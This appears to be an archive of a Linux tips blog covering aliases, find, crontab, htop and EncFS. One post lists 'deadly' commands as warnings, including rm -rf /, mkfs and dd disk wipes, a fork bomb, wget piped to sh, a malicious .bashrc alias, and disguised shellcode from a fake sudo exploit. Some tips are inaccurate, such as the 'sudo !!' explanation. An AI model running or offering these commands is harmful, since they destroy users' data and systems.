Showing posts with label Amazing commands. Show all posts
Showing posts with label Amazing commands. Show all posts

Friday, March 23, 2012

Linking/Chaining Commands in Linux

To add to your productivity and save time, chaining and linking linux commands is a fine way to go.
There are various chaining and linking commands present in Linux, but many Linux users are not aware of it.
  • To send a process to the background, append your command with '&' at the end. 
Eg. -
$ping -c1 yahoo.com &
$ping -c1 yahoo.com & rm -f  *.flv &   

Wednesday, December 29, 2010

Linux Amazing Keypresses & Commands : Set 5

  • By default in Bash shell pressing Ctrl+D will exit the current shell . To prevent it you can add the following line in ~/.bashrc:
export IGNOREEOF=1
And then source the file to read it again:
source ~/.bashrc

Sunday, December 19, 2010

Working With Alias

In Linux, we are provided with a cool tool that can create new shortened command for a  given command. It is called alias. That is, it allows a user to create simple names or abbreviations (even consisting of just a single character) for commands regardless of how complex the original commands are and then use them in the same way that ordinary commands are used. The alias command is built into a number of shells including ash, bash (the default shell on most Linux systems), csh and ksh.To create alias type the command:
#alias  
Eg.#alias dir="ls" 

Monday, December 13, 2010

Linux Amazing Keypresses & Commands : Set 5

  • Finding the top 20 processing in consuming the RAM.
$ps aux | awk '{print $2, $4, $11}' | sort -k2rn | head -n 20
This command will list the top 20 process in decreasing order of their RAM consumption. It will be more helpful if you add a alias this command. Another solution for it is htop.
Install htop. For Fedora/RedHat users.
$yum install htop
For Ubuntu users.
$sudo apt-get install htop
For sorting the processes run htop & type
M for RAM
P for CPU
T for TIME
To invert the processes type I.

Friday, December 10, 2010

rtcwake : Wake up your system after given time.

Waking up the pc is the common need of every moderate users. In that case rtcwake is a useful utility for you. Using this utility you can wake up your linux box at any given time. So, why do we need to wake up the poor soul. Because of the following reasons:
  • System clean-up when you are busy sleeping after exploiting the pc for a whole day.
  • Routine System backup when you are busy attending other emergencies. 
  • Running a cron job like buzzing a song to wake you up. 
The usage can be endless. To install this program. Execute commands below.

sudo apt-get install rtcwake
sudo chmod u+s /usr/sbin/rtcwake

An example of the rtcwake command can be
rtcwake -m mem -s 300

Wednesday, December 8, 2010

Encrypt files using EncFS

Creating an encrypted folder using EncFS is a easy job. It's a simple utility to encrypt your files. At first you have to login as a root.
Execute >su & enter root password.

Install encfs & fuse.
$apt-get install encfs fuse-utils

Load the use module in the kernel as root
$modprobe fuse

Friday, December 3, 2010

OSSIM: the Open Source Security Information Management System

A Security Information Management system (SIM), is a toolset that fills in that gap by collecting eventlogs into a central repository for trend analysis from different tools. It centralizes log information, correlates logs to establish cause-effect relationship between events, prevents possible damage/flaws on the company’s resources etc.  
OSSIM is a fully featured SIM solution that offers all the necessary functionality, ranging from the detection at low-level to high-level reporting. 
Based on GNU/Linux Debian, kernel 2.6, OSSIM integrates a handy suite of security open source tools

Thursday, December 2, 2010

Linux Amazing Keypresses & Commands : Set 4

1. command
$sudo !!
After executing this command, you have to never think about typing sudo. When you type enter     after typing sudo !! , user password prompt will appear & after entering password, the user don't need to enter sudo before the commands.

2. pressing [tab] twice
    This is the favorite keypress used by linux users. It's useful tool for auto completion of commands. Type initial characters of a command & hit tab twice. Eg. type if & hit tab twice. shell will display all the possible commands beginning with if like 'ifconfig'.

Wednesday, December 1, 2010

Online Crontab Tool

Crontab is a handy tool for scheduling particular tasks/commands. You can set a time for updating the system, shutting it down etc. So, to use the crontab, issue the command
>crontab -e 
This will display the crontab file which you can edit to set your tasks.
These are the options related to crontab
crontab -e    Edit your crontab file, or create one if it doesn’t already exist.
crontab -l      Display your crontab file.
crontab -r      Remove your crontab file.
crontab -v      Display the last time you edited your crontab file. (This option is only available on a few systems.)

Saturday, November 27, 2010

Find command demystified-2

Find command can be used to copy move or delete files as we need.
>find -name "*.mp3" -exec cp {} /path/to/folder \;
This command will move all your files to a particular /path/to/folder .

Similarly you can move or delete files.
>find -name "*.mp3" -exec cp {} /path/to/USB \;
>find -name '*.mp3' -exec rm {} \;

Find files using the ownership parameter.
>find /path/to/folder -user -name “*.doc” 

Direct the output of find command to a file.
>find / -name "*.mp3" > record.txt
This command will save the paths of all mp3 files in a txt file, record.txt.

Friday, November 26, 2010

Find command demystified.

find command is cool tool for searching lost items. Lets find the mystery in 'find':

>find -name “abc.jpg”
is directory in which file is to be searched. Eg. '.' for present working directory. '/' for root [of course without single quotes].


In using wildcards * denotes the part of file you don't remember or you're not sure. Suppose your searching the file mission-impossible-3.mov. Some of the possible find searches could be:
>find -name "mission*"
>find -name "*mission*"
>find -name "*impossible*"
>find -name "mission*.mp3"

Sunday, August 29, 2010

Linux Amazing Keypresses & Commands : Set 3

1. Unmount busy drives
You are probably all too familiar with the situation - you are trying to unmount a drive, but keep getting told by your system that it's busy. But what application is tying it up? A quick one-liner will tell you:
$lsof +D /mnt/windows
This will return the command and process ID of any tasks currently accessing the /mnt/windows directory. You can then locate them, or use the kill command to finish them off.

2. su command  fast execution without logging in.
$su --c [command]
It enables you to issue a command in administrative mode directly after providing the superuser password. And when the command is executed the user is logged off to the previous user.

Sunday, August 15, 2010

Linux Amazing Keypresses & Commands : Set 2

1. Some handy linux keyboard shortcuts!
[alt][tab] Walk through windows. To walk backwards: [alt][shift][tab]
[ctrl][tab] Walk through desktops. To walks backwards: [ctrl][shift][tab]
[ctrl][esc] Show the table of processes running on my system. Allow me to kill any of the processes I started (or send other signals to them).
[alt][f1] Access the K-menu ("Equivalent to MS Windows "Start" menu).
[alt][f12] Emulate the mouse using the arrow keys on the keyboard.
[alt][leftmousebutton] Drag a window to move it. Normally, I move a window by dragging its top title bar, but occassionally I manage to get it off the screen. With this shortcut, I can drag by any part of the window.

Wednesday, July 14, 2010

Linux Amazing Keypresses & Commands : Set 1

If you want to make your Linux working experience more comfortable & faster, then go through these commands.
1. Linux commands on the console may often span many lines, and encountering a type mistake at the beginning of the command would require you to use the slow way of punching the right/left arrow keys to traverse in the command string.
Remedy : Try Ctrl+e to move to the end of the command string and Ctrl+a to reach start. It’s the fastest way to edit a Linux command line. To delete a word in the command string, use Ctrl+w.

Thursday, April 8, 2010

Linux deadly commands.

Here is a list of commands that can sabotage your pc & crashes it.


1) #rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
Other variants :
Code:
rm -rf .
rm -rf *
rm -r .[^.]*

2) A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:
Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root.

3) #mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
Other variants.
Code:
mkfs
mkfs.ext3
mkfs.anything

4)  #:(){:|:&};:
Infamous fork bomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
Further information at http://linux-techy.blogspot.com/2010/03/fork-bomb-fire-in-hole.html 
In Perl
Code:
fork while fork

5)  #any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6) #wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you. Above command is same as
Code:
wget http://some_place/some_file
sh ./some_file

7) #mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.


8)  #echo "alias ls='rm -rf /'" >> /home/personyoudontlike/.bashrc
Creating a alias of ls command which means complete destruction.

9) #cat /dev/zero > /var
it will write zeroes to /var or cat it to your favorite file to destroy.

10) #chmod 711 /
Locksdown & freezes your system.
Similar command #chmod 777 /

11) #dd if=/dev/zero of=/dev/hda bs=512 count=1
(/dev/hda is just an example of which device you are booting from---these days with most disks being SATA, it's probably /dev/sda)
Zeros out the MBR (master boot record) so you can no longer boot. You can of course zero out the entire drive by removing the "bs=512 count=1" directives.

References
http://ubuntuforums.org/announcement.php?a=54

Saturday, March 20, 2010

Fork BomB -- FIRE IN THE HOLE!

Here comes the fork bomb, it will explode & crash your system within minutes.
$ :(){ :|: & };:

It’s actually a shell function;  :() denotes unnamed function with the body enclosed in {}. The statement ‘:|:’ makes a call to the function itself and pipes the output to another function call—which is the same function & puts all processes in the background and hence you can’t kill any process. Finally ‘;’ completes the function definition and the last ‘:’ initiates a call to this unnamed function. So it recursively creates processes and eventually your system will hang. This is one of the most dangerous Linux commands and may cause your computer to crash!

 Solution : How to avoid a fork bomb? Of course, by limiting the process limit; you need to edit /etc/security/limits.conf. Edit the variable nproc to user_name hard nproc 100. You require root privileges to modify this file.

Above code is same as ->
forkbomb(){forkbomb|forkbomb&}; forkbomb

Check out this video from youtube about fork bomb prank.